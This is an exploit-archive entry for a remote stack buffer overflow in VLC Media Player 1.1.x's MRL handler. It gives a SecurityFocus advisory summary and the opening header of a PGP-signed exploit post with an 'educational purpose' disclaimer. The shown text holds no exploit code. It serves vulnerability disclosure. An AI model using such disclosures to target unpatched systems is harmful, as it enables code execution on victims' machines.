VideoLAN VLC Media Player 1.1.x – Calling Convention Remote Buffer Overflow
source: https://www.securityfocus.com/bid/44909/info VLC Media Player is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions. Versions prior to VLC Media Player 1.1.5 for Windows are vulnerable. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================================== ======================================================================================================================== VLC Multimedia Plug-in and/or Activex 1.1.4 MRL handler remote buffer overflow Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org/ This was written for educational purpose.
